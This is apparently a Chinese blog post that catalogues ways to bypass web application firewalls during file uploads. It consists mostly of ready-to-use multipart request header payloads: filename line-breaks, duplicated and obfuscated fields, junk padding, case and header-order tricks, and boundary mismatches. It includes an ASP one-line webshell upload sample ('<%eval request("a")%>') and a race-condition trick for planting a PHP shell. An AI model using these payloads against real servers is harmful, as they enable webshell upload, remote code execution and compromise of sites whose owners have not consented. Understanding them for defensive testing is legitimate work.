• 文件上传—WAF拦截的绕过方式


    文件上传—WAF拦截的绕过方式


        我们常用的黑名单绕过方法也适用于部分waf,更多的是需要配合使用才能成功上传,主要思路为接收文件名和waf的检测有所差异,只要是服务器能接收并解析,怎样能绕过waf的检测都可以

    (1)通过filename换行来绕过检测,例如:

    第一种:
    Content-Disposition: form-data; name="file"; filename="1.p
    hp"
    第二种:
    Content-Disposition: form-data; name="file"; file
    name="1.php"
    第三种:
    Content-Disposition: form-data; name="file"; filename=
    "1.php"
    三种均可
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    (2)使用多个等号绕过检测,例如:

    Content-Disposition: form-data; name="file"; filename==="a.php"
    
    • 1

    (3)增大文件大小,类似于sql注入的大量垃圾字符绕waf检测,例如:

    Content-Disposition: form-data; aaaaaaaaaaaaaaaaaaaaa......aaaaaaaaaaaaaaaaaaaaa;name="file"; filename="a.php"
    
    • 1

    (4)去掉双引号或替换为单引号绕过waf:

    第一种:
    Content-Disposition: form-data; name=file1; filename=a.php
    第二种:
    Content-Disposition: form-data; name='file1'; filename="a.php"
    
    • 1
    • 2
    • 3
    • 4

    (5)有些只检测第一个firename,可以增加filename干扰拦截,例如:

    Content-Disposition: form-data; name="file"; filename= ;  filename="a.php"
    
    • 1

    (6)混淆waf匹配字段,例如:
    混淆form-data:

    Content-Disposition: name="file"; filename="a.php"
    去除form-data
    Content-Disposition: AAAAAAAA="BBBBBBBB"; name="file";  filename="a.php"
    替换form-data为垃圾值
    Content-Disposition: form-data   ; name="file"; filename="a.php"
    form-data后加空格
    Content-Disposition: for+m-data; name="file"; filename="a.php"
    form-data中加+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    混淆ConTent-Disposition

    COntEnT-DIsposiTiOn: form-data; name="file"; filename="a.php"
    大小写混淆
    Content-Type: image/gif
    Content-Disposition: form-data; name="file";  filename="a.php"
    调换Content-Type和ConTent-Disposition的顺序
    Content-Type: image/gif
    Content-Disposition: form-data; name="file";  filename="a.php"
    Content-Type: image/gif
    增加额外的头
    AAAAAAAA:filename="aaa.jpg";
    Content-Disposition: form-data; name="file";  filename="a.php"
    Content-Type: image/gif
    增加额外的头
    Content-Length: 666
    Content-Disposition: form-data; name="file";  filename="a.php"
    Content-Type: image/gif
    增加额外的头
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    (7)双文件绕过,例如安全狗总以最后一个Content-Disposition中的值做为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值做为接收参数。

    (8)容器与WAF对Boundary要求规则不一致

    Content-Type: multipart/form-data; boundary=---------------------------471****1141173****525****99
    Content-Length: 253
    -----------------------------471****1141173****525****99
    Content-Disposition: form-data; name="file1"; filename="shell.asp"
    Content-Type: application/octet-stream
    <%eval request("a")%>
    -----------------------------471****1141173****525****99--
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    一些WAF会认为两段Boundary不一致的数据是无意义的,不进行检测,而容器并没有严格要求,正常接收数据。

    (9)条件竞争,一些情况下在上传文件时,先上传到临时目录,然后再检测,检测到再删除,例如:可以上传生成一句话木马的文件

    fputs(fopen('shell6666.php','w'),'');
    
    • 1

    上传同时疯狂重复发包访问此文件,就有可能会在文件被删除之前生成webshell文件a.php

  • 相关阅读:
    计算机网络第3章-运输层(2)
    实现真正的高性能高并发的上亿级别秒杀系统!
    <1> c++ 笔记 stl::map
    F - Exactly K Steps(树的直径 + 倍增)
    数据库相关概念复习--个人复习使用
    2154. 将找到的值乘以 2
    最简单的http文件服务器
    DAY 12 结构体(重点) 共用体 枚举01
    怎样选择一套适合自己的跨境商城源码?
    x64dbg 2022 最新版编译方法
  • 原文地址:https://blog.csdn.net/qq_56228347/article/details/128014012